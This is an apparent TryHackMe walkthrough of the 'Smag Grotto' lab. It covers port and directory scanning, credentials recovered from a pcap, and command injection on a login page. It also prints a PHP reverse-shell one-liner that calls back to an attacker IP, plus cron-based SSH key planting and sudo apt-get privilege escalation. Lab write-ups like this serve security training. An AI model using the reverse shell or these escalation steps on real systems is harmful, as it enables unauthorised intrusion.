Smag Grotto | TryHackMe Walkthrough

4 min readMar 1, 2023

The first enumeration that I do is running nmap scan where the nmap discover service SSH and HTTP.

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 74:e0:e1:b4:05:85:6a:15:68:7e:16:da:f2:c7:6b:ee (RSA)
|   256 bd:43:62:b9:a1:86:51:36:f8:c7:df:f9:0f:63:8f:a3 (ECDSA)
|   256 f9:e7:da:07:8f:10:af:97:0b:32:87:c9:32:d7:1b:76 (ED25519)
80/tcp open  http    syn-ack Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Smag
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

After discovering there is HTTP service, I run gobuster scan to see what files and directories in the server.

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.248.121/
[+] Threads:        64
[+] Wordlist:       /usr/share/dirb/wordlists/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2021/01/26 09:41:30 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/index.php (Status: 200)
/mail (Status: 301)
/server-status (Status: 403)
===============================================================
2021/01/26 09:41:52 Finished
===============================================================

The index.php only contain “Welcome” sentence that didn’t have interesting information for us.

But when visiting /mail directory, there is interesitng message where the developer post a .pcap file about the network.

After inspecting the .pcap file, I found there is username and password that might be useful for us.

From here, I try to search for page that used those credentials and didn’t find one. Then I inspecting the packet again and found there is a hostname.

I added the hostname inside /etc/hosts with the MACHINE_IP, I found the login page when visiting the hostname.

By using the credentials, I find the website allows us to execute command in the machine.

I try to insert a reverse shell command like bash and python based on the gtfobins website, but it failed. I found the reverse shell that worked is the php command where it looks like this:

php -r '$sock=fsockopen("10.8.45.74",8080);exec("/bin/sh -i <&3 >&3 2>&3");'

I then run netcat listener on port 8080 and run the command on the website where I got the reverse shell on the netcat listener.

In the shell I run enumeration on the /home and /var/www/ directory and found nothing. Then I check the /opt/ directory where I find a hidden directory that contains public SSh key for user jake. When I check the /etc/crontab, I find that the content of /opt/.backups/jake_id_rsa.pub.backup will be cat into /home/jake/.ssh/authorized_keys.

After generating our ssh key, I insert the public key into jake_id_rsa.pub.backup where it will insert our public key into the user jake. By doing this, I can login into user jake by using the private key.

To privilege escalation, I run sudo -l to see if the user has sudo permissions on the machine. The user jake has sudo permission to run /usr/bin/apt-get. By knowing these, I can escalate our privilege by using the commands based on gtfobins reference.